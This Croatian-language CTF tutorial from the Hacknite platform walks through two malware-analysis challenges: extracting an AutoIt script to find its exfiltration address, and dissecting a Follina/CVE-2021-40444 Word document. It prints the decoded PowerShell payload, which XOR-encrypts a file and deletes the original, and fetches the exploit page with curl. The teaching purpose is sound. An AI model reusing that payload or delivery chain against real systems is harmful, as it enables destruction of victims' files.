Table of Contents
Malware analysis – primjeri zadataka
Analiza i forenzika zloćudnih programa je široko područje s puno različitih tehnika i alata koji se koriste. Ovdje će biti objašnjeni osnovni pojmovi i koncepti za bolje razumijevanje postupaka rješavanja zadataka u primjerima. Ako vas zanima više o analizi i forenzici zloćudnih programa, pogledajte druge dostupne materijale na Wiki stranicama platforme Hacknite. Dva glavna pristupa analizi zloćudnih programa su statička i dinamička analiza. Statička analiza je postupak analize datoteka i resursa zloćudnog programa bez pokretanja zloćudnog programa. Za statičku analizu se koriste postupci reverznog inženjerstva i forenzike jer je zloćudnim programima u cilju sakriti način na koji funkcioniraju i izbjeći detekciju zaštitnih programa, kao što je Windows Defender. Postupci analize se mogu vršiti automatizirano različitim alatima ali često zahtijevaju i „ručnu“ analizu. Dinamička analiza je postupak analize zloćudnih programa pokretanjem istih u sigurnom i izoliranom okruženju. (*Napomena, i za statičku i za dinamičku analizu se preporučuje koristiti izolirana okruženja za namjenu analize zloćudnih programa, korištenjem „pješčane kutije“ -eng. Sandbox, kao što je adekvatno podešena i osigurana virtualna mašina.) Zloćudni program pokrenut u izoliranom okruženju se onda analizira tijekom izvršavanja, promatraju se postupci koje program pokušava ostvariti, vanjski resursi i domene s kojima program pokušava komunicirati te se često zloćudni program tijekom izvršavanja „otkrije“ – dekriptira ili „otpakira“ i bude u stanju u kojem je pogodniji za analizu.
Primjeri
PRIMJER -Zadatak s Hacknite platforme – Spear phishing
Nevenove privatne datoteke su nekako završile na internetu. Istraživači su na Nevenovom računalu pronašli sumnjivu izvršnu Windows datoteku. Pokušali su dinamičkom analizom saznati na koju IP adresu izvršna datoteka šalje ukradene podatke, no bez uspjeha. Možeš li im pomoći? Flag je IP adresa i port s kojom izvršna datoteka komunicira, primjerice ako izvršna datoteka komunicira s IP adresom 192.168.5.1 na portu 5000, flag bi bio CTF2024[192168515000] Napomena 1: Zadatak je moguće riješiti čak i ako nemate pristup Windows računalu skripta.exe
Uz zadatak dostupna je i datoteka skripta.exe.
U tekstu zadatka je naznačeno da dinamička analiza nije bila uspješna – „Pokušali su dinamičkom analizom saznati na koju IP adresu izvršna datoteka šalje ukradene podatke, no bez uspjeha.“ Što bi moglo sugerirati da bi se trebalo pokušati sa statičkom analizom.
Nakon što je zloćudni program postavljen u sigurno okruženje, prvi korak je provjera formata i podataka preuzete datoteke. Korištenjem bash naredbe „file“ mogu se saznati osnovne informacije o datoteci.
file ./skripta.exe
Na slici 1 je prikazan ispis pokretanja spomenute naredbe nad datotekom.
Ispis naredbe prikazuje da je datoteka formata Portable Execeutable (PE) i da je 64-bitna.
Kako bi se saznalo više informacija o datoteci, može se koristiti alat „Detect it Easy (DiE)“ koji je dostupan ovdje: https://github.com/horsicq/Detect-It-Easy
Alat se može instalirati slijedeći upute dostupne na stranici i može se koristiti i na Windows i na Linux operacijskom sustavu. Nakon instalacije i pokretanja alata, alat se može pokrenuti i njime se može analizirati datoteka skripta.exe. Prikaz korištenja alata za analizu datoteke prikazan je na slici 2.
Pomoću alata mogu se vidjeti dodatne informacije o datoteci, od kojih je vrlo bitna „Format: AutoIt(3.XX)“.Ovo govori da je datoteka izgrađena iz AutoIt skriptnog jezika verzije 3.X. Sljedeći korak je „dekompajliranje“ odnosno ekstrakcija AutoIt skripte iz originalne datoteke skripta.exe.
Neki od alata s ovom namjenom su Exe2Aut, myAut2Exe i AutoIt-Ripper.
Exe2Aut podržava samo ekstrakciju AutoIt skripti iz 32-bitnih PE datoteka i nekad izvršava dijelove skripti pri ekstrakciji, pa je jako bitno da se izvršava u izoliranom okruženju.
myAut2Exe je napredniji i bolji alat, podržava i ekstrakciji iz 64-bitnog PE formata, ne izvršava dijelove skripti pri ekstrakciji, ali je malo zahtjevniji za inicijalno postavljanje.
AutoIt-Ripper je alat koji je najprikladniji za analizu u ovom primjeru, vrlo je jednostavan za instalaciju – instalira se kao Python paket i može se jednostavno koristiti putem komandom sučelja. Također AutoIt-Ripper koristi myAut2Exe kao jedan od resursa. Može se pronaći ovdje: https://github.com/nazywam/AutoIt-Ripper
Može se jednostavno instalirati slijeđenjem uputa na stranici. Nakon instalacije se može pokrenuti naredbom:
autoit-ripper skripta.exe ./skriptaEkstrakcija
koja kao prvi argument uzima datoteku iz koje će AutoIt skripta biti ekstraktirana, a kao drugi argument uzima izlazni direktorij u koji će smjestiti ekstraktiranu skriptu. Pokretanjem naredbe, u navedenom direktoriju je uspješno ekstraktirana skripta script.au3. Pregledom datoteke script.au3 može se vidjeti potpuni izvorni kod programa. Nad njime je potrebno dohvatiti IP adresu i port koji se koristi u programu. Pošto program sadrži tri tisuće linija, ručna pretraga nije nego je bolji pristup korištenje regex izraza. Primjer bash naredbe koja nad kodom datoteke script.au3 regex izrazom pretražuje linije u kojima se pojavljuje domena, IP adresa ili IP adresa s portom je sljedeća:
cat script.au3 | grep -E '([a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}|https?://[a-zA-Z0-9./?=_-]*|([0-9]{1,3}\.){3}[0-9]{1,3}(:[0-9]{1,5})?)'
Pokretanjem ove naredbe bit će ispisana linije koda u kojima su definirane IP adresa i port koji se koristi, koji su ujedno i rješenje zadatka.
PRIMJER -Zadatak s Hacknite platforme – Spear phishing
Krešimir je primio e-mail s privitkom koji je sadržavao rezultate ispita državne mature, ili bar je tako mislio. Word dokument koji je otvorio nije sadržavao nikakav tekst, a jedna Krešimirova vrlo bitna datoteka postala je neprepoznatljiva. Možeš li saznati što se dogodilo? Flag je u formatu CTF2023[brojevi]. flag.hacknite2023.encrypted rezultati-ispita-drzavne-mature.docx
Uz zadatak su dostupne i datoteke flag.hacknite2023.encrypted i rezultati-ispita-drzavne-mature.docx.
Ovdje nema nikakve naznake bi li se trebala koristit statička ili dinamička analiza. Nakon postavljanja skinutih datoteka u sigurno okruženje može se započeti s analizom. Pregledom datoteke može se utvrditi da je ona Microsoft Word 2007+ dokument, kao što i naznačuje ekstenzija .docx. Microsoft Word dokumenti mogu se raspakirati koristeći 7z, WinRAR, bash unzip ili nekim drugim alatom, jer Microsoft Word dokumenti koriste ZIP kompresiju. Nakon raspakiravanja, može se vidjeti veći broj XML datoteka koji su sastavi dio Word dokumenata nad kojima se onda može vršiti daljnja analiza yara pravilima ili pretraživati regexima kako bi se nastavilo sa statičkom analizom. Nakon prvih par koraka utvrđivanja tipa datoteke statičkom analizom, može se napraviti inicijalna dinamička analiza datoteke kako bi se utvrdilo koji pristup daje bolje rezultate i na što bi se trebalo fokusirati. Danas su dostupni korisni i napredni online alati za statičku i dinamičku analizu. Detaljnije objašnjena dinamička analiza korištenjem online alata VirusTotal dostupna je u dokumentu Osnovna analiza zlonamjernog softvera pomoću online alata na linku: https://www.cert.hr/wp-content/uploads/2019/07/analiza_zlonamjernog_softvera_online_alatima.pdf Pod poglavljem Analiza zlonamjernog softvera alatom VirusTotal, mogu se pronaći upute i objašnjena za korištenje alata VirusTotal dostupnog na linku: https://www.virustotal.com/ Kako bi iskoristili spomenuti alat za analizu Word datoteke u zadatku, datoteka rezultati-ispita-drzavne-mature.docx se uploada na ovaj URL: https://www.virustotal.com/gui/home/upload
Nakon uploada filea i pokretanja analize, vidi se da je velik broj antivirusnih programa detektirao datoteku kao malicioznu. Na stranici su dostupni i drugi izbornici osim inicijalnog izbornika „Summary“ koji sadrže više informacija o zloćudnoj datoteci. Pod izbornikom „Behaviour“, može se vidjeti da je detektirano korištenje CVE-2021-40444 napada. Ovo je prikazano na slici 3.
Također u istom izborniku može se vidjeti da zlonamjerna datoteka sadrži URL s kojim komunicira
https://platforma.hacknite.hr/follina-exploit
Ovo je prikazano na slici 4.
Odabirom opcije Full reports - > zenbox, prikazano na slici 5.
Mogu se vidjeti detaljnije informacije analize zloćudne datoteke, među kojima se može vidjeti da se osim napada CVE-2021-40444 koristi i napad CVE-2022-30190, još poznat i kao „Follina“. Ovo je prikazano na slici 6. Više o Follina napadu se može saznati iz izvora navedenih na dnu dokumenta.
Kako bi se provjerilo što se dohvaća putem prethodno pronađenom URL-a, može se izvršiti CURL commanda kako bi se dohvatio payload malwarea i također analizirao u izoliranom okruženju.
curl https://platforma.hacknite.hr/follina-exploit
Pokretanjem curl naredbe i analizom dohvaćenog HTML-a, može se uočiti Base64 enkodirani payload u <script> elemntu prikazan na slici 7.
Dekodiranjem paylaoda iz Base64 formata bash naredbama:
echo " cABvAHcAZQByAHMAaABlAGwAbAAuAG..." | base64 -d
može se uočiti da je payload PowerShell skripta. Prikazano na slici 8.
Vidi se da su naredbe koje PowerShell pokreće također u Base64 formatu, pa je potrebno još jedanput ponoviti postupak.
echo "JABmAGkAbABlACAAPQAgACIAZgBsAGEAZ…" | base64 -d
Sada se mogu vidjeti naredbe koje PowerShell izvršava, prikazano na slici 9.
$file = "flag.hacknite2023";$password = "n8E2…..";$content = Get-Content -Path $file -Raw;$passwordBytes = [Text.Encoding]::UTF8.GetBytes($password);$contentBytes = [Text.Encoding]::UTF8.GetBytes($content);for ($i = 0; $i -lt $contentBytes.Length; $i++) {$contentBytes[$i] = $contentBytes[$i] -bxor $passwordBytes[$i % $password.Length];} $newFile = $file + ".encrypted";$encryptedContent = [Text.Encoding]::UTF8.GetString($contentBytes);$encryptedContent | Set-Content -Path $newFile -Force;Remove-Item -Path $file -Force
Analizom naredbi, može se uočiti da payload koristeći definirani password ( $password = …) enkriptira datoteku flag.hacknite2023 koristeći bitwise XOR (-bxor). Pošto je XOR simetrična operacija, ako ponovno iskoristimo isti XOR algoritam s istim passwordom nad enkriptiranom datotekom, datoteka će biti dekriptirana i vraćena u originalno stanje. Pokretanjem PowerShella, pozicioniranjem u direktorij u kojemu se nalazi enkriptirana datoteka flag.hacknite2023.encrypted te preimenovanjem enkriptirane datoteke u „flag.hacknite2023“, koji je naziv originalne datoteke koju je zloćudna datoteka enkriptirala, može se ponovno pokrenuti ista PowerShell skripta na slici 7. koja će ovog puta ponavljanjem XOR operacije s istim passwordom dekriptirati enkriptiranu datoteku, te će zapisati enkriptiranu datoteku u „flag.hacknite2023.encrypted“. Nakon pokretanja skripte, flag.hacknite2023 će biti dekriptiran i u njemu će se nalaziti flag. Također, mogu se i jednostavno promijeniti argumenti ulazne i izlazne datoteke PowerShell skripte umjesto preimenovanja enkriptirane datoteke.
Izvori
SpearPhishing:
https://github.com/horsicq/Detect-It-Easy
https://github.com/V1V1/OffensiveAutoIt/tree/main#decompiling-autoit-executables
https://github.com/fossabot/myAut2Exe
https://github.com/nazywam/AutoIt-Ripper
https://unit42.paloaltonetworks.com/autoit-compiled-malware/
Maldoc:
https://www.virustotal.com/
https://www.cert.hr/wp-content/uploads/2019/07/analiza_zlonamjernog_softvera_online_alatima.pdf
https://nvd.nist.gov/vuln/detail/cve-2021-40444
https://owasp.org/www-community/vulnerabilities/follina
https://owasp.org/www-community/vulnerabilities/follina